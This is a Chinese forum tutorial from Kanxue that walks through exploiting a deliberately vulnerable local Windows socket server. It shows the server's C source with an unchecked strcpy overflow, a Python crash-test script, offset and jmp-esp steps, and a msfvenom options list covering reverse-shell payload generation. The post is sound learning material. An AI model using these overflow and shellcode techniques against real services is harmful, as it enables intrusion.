首页
社区
课程
招聘
[原创]EXP编写学习 之 网络上的EXP(三)
发表于: 2022-5-1 17:17 10334

[原创]EXP编写学习 之 网络上的EXP(三)

2022-5-1 17:17
10334

我是逆向练习生,羽墨。

我正在从0开始学习二进制漏洞,如果你也跟我一样,不妨来看看小白学习的第一视角

这里可以看到,IP为本机,端口为5566 ,关闭编译选项,GS DEP ASLR ,溢出覆盖返回地址的话,不用关心safeSEH

1.打开服务程序,x32dbg 附加, 使用py脚本发送payload

可以看到服务程序的EIP已经被覆盖为41414141

2.现在要确定返回地址的偏移 , 可以使用 mpattern_offset工具来定位(参考笔者前面的文章) , 笔者这里定位偏移为 504

3.确定偏移后,还需要一个跳板地址,jmp esp , 来跳到shellcode执行 , 使用OD Findaddr 加载后查找

4.选择 0x75A15978 这个地址吧 , 笔者使用物理机来进行测试的, 地址只在关机前有效, 因为win10系统都有ASLR ,但是开机后映射地址是不会改变的,除非你hook这个dll

5.那么现在还需要一段 win10可以运行的 shellcode , 使用msfvenom工具来生成一个测试吧

这里我们使用一个反弹shell的shellcdeo进行测试,搜索payload模块

使用这个反向TCPshell模块 然后查看它所支持的格式

好的,我们选择py , 然后查看它支持的架构

这里我们选择 x86 ,最后把命令整合一下 ,生成shellcode

好的,看起来是成功了,测试了一下, 发现nc在win10无法使用。。没办法监听。。。。。。 懒得弄了,换个弹窗的shellcode吧

好的,最后的EXP是这样的

1.打开漏洞程序,调试器附加,找到溢出函数,下断观察

2.攻击测试

这里可以看到,栈已经被41覆盖,返回地址变为我们的跳板地址,后面跟nop区 与shellcode

单步跟踪查看

成功来到栈上执行代码

F9跑起来,看看效果 (有时候生成的shellcode有问题) 好的,成功执行 ,并且程序自动退出

然后让我们直接运行程序与脚本,看看效果如何

点击确定,程序自动退出,EXP日志输出ok, Perfect

1.虽然还是比较基础,但是重在动手实践,顺带熟悉了msfvenom的用法与python socket的用法

2.昨天怼一个程序怼了一天,最后发现下载的是没有漏洞的版本,好的好的,差点给我气死

3.你学废了吗(手动狗头)

看雪EXP编写系列第四章

 
软件 版本
一个存在漏洞的服务程序 C语言自己编写(附件下载exe)
调试器 windbg,x32dbg
python pycharm py3.8
#include <stdio.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#pragma comment(lib,"Ws2_32.lib")
 
 
SOCKET g_Socket;
sockaddr_in g_addr;
 
 
void Stack_Overflow(char* str)
{
    char buff[500] = { 0 };
    strcpy(buff, str);
}
 
int main()
{
    //初始化网络库
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
        printf("WSAStartup failed with error: %d\n", WSAGetLastError());
 
    //初始化套接字
    g_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (INVALID_SOCKET == g_Socket)
    {
        printf("socket init error:%d\n", WSAGetLastError());
        return 0;
    }
 
    //绑定端口
    g_addr.sin_family = AF_INET;
    g_addr.sin_port = htons(5566);
    inet_pton(AF_INET, "127.0.0.1", &g_addr.sin_addr);
    if (bind(g_Socket, (sockaddr*)&g_addr, sizeof(sockaddr)) == SOCKET_ERROR)
    {
        printf("bind  error:%d\n", WSAGetLastError());
        return 0;
    }
 
    //监听端口
    if (listen(g_Socket, 20) == SOCKET_ERROR)
    {
        printf("listen  error:%d\n", WSAGetLastError());
        return 0;
    }
 
    //接收客户端连接与数据
    printf("Server : accept...\n");
    sockaddr_in caddr;
    int len = sizeof(sockaddr_in);
    while (true)
    {
        SOCKET s = accept(g_Socket, (sockaddr*)&caddr, &len);
        if (INVALID_SOCKET == s)
        {
            printf("accept  error:%d\n", WSAGetLastError());
            return 0;
        }
        printf("accept ok IP:%s port:%d\n", inet_ntoa(caddr.sin_addr), htons(caddr.sin_port));
 
        char recvBuf[0x2000] = { 0 };
        int ret = recv(s, recvBuf, sizeof(recvBuf), 0);
        if (ret <= 0)
        {
            printf("recv error:%d\n", WSAGetLastError());
            break;
        }
        printf("len:%d\n data:%s", strlen(recvBuf), recvBuf);
        Stack_Overflow(recvBuf); //溢出函数
 
        closesocket(s);
    }
 
    closesocket(g_Socket);
    WSACleanup();
    return 0;
}
#include <stdio.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#pragma comment(lib,"Ws2_32.lib")
 
 
SOCKET g_Socket;
sockaddr_in g_addr;
 
 
void Stack_Overflow(char* str)
{
    char buff[500] = { 0 };
    strcpy(buff, str);
}
 
int main()
{
    //初始化网络库
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
        printf("WSAStartup failed with error: %d\n", WSAGetLastError());
 
    //初始化套接字
    g_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (INVALID_SOCKET == g_Socket)
    {
        printf("socket init error:%d\n", WSAGetLastError());
        return 0;
    }
 
    //绑定端口
    g_addr.sin_family = AF_INET;
    g_addr.sin_port = htons(5566);
    inet_pton(AF_INET, "127.0.0.1", &g_addr.sin_addr);
    if (bind(g_Socket, (sockaddr*)&g_addr, sizeof(sockaddr)) == SOCKET_ERROR)
    {
        printf("bind  error:%d\n", WSAGetLastError());
        return 0;
    }
 
    //监听端口
    if (listen(g_Socket, 20) == SOCKET_ERROR)
    {
        printf("listen  error:%d\n", WSAGetLastError());
        return 0;
    }
 
    //接收客户端连接与数据
    printf("Server : accept...\n");
    sockaddr_in caddr;
    int len = sizeof(sockaddr_in);
    while (true)
    {
        SOCKET s = accept(g_Socket, (sockaddr*)&caddr, &len);
        if (INVALID_SOCKET == s)
        {
            printf("accept  error:%d\n", WSAGetLastError());
            return 0;
        }
        printf("accept ok IP:%s port:%d\n", inet_ntoa(caddr.sin_addr), htons(caddr.sin_port));
 
        char recvBuf[0x2000] = { 0 };
        int ret = recv(s, recvBuf, sizeof(recvBuf), 0);
        if (ret <= 0)
        {
            printf("recv error:%d\n", WSAGetLastError());
            break;
        }
        printf("len:%d\n data:%s", strlen(recvBuf), recvBuf);
        Stack_Overflow(recvBuf); //溢出函数
 
        closesocket(s);
    }
 
    closesocket(g_Socket);
    WSACleanup();
    return 0;
}
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
import socket,sys
 
def Exp(ip,port):
    target = ip
    port =port
    buffer = b'\x41' * 1000
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        connect = s.connect((target,port))
        print("connect success")
    except:
        print("connect failed")
        sys.exit(0)
 
    s.sendall(buffer)
    print("send payload")
    try:
        s.recv(1024)
    except:
        print("ok")
    s.close()
 
if __name__ == '__main__':
    Exp('127.0.0.1',5566)
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
import socket,sys
 
def Exp(ip,port):
    target = ip
    port =port
    buffer = b'\x41' * 1000
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        connect = s.connect((target,port))
        print("connect success")
    except:
        print("connect failed")
        sys.exit(0)
 
    s.sendall(buffer)
    print("send payload")
    try:
        s.recv(1024)
    except:
        print("ok")
    s.close()
 
if __name__ == '__main__':
    Exp('127.0.0.1',5566)
 
 
 
 
 
 
 
 
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
 
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
 
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
 
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
 
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
 
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
 
–platform < platform> 指定payload的目标平台
 
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
 
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0A' '\x00';
 
-i, –iterations < count> 指定payload的编码次数
 
-c, –add-code < path> 指定一个附加的win32 shellcode文件
 
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
 
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
 
–payload-options 列举payload的标准选项
 
-o, –out < path> 指定创建好的payload的存放位置
 
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
 
-h, –help 查看帮助选项
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
 
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
 
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
 
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
 
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
 
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
 
–platform < platform> 指定payload的目标平台
 
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
 
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0A' '\x00';
 
-i, –iterations < count> 指定payload的编码次数
 
-c, –add-code < path> 指定一个附加的win32 shellcode文件
 
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-5-3 16:36 被yumoqaq编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//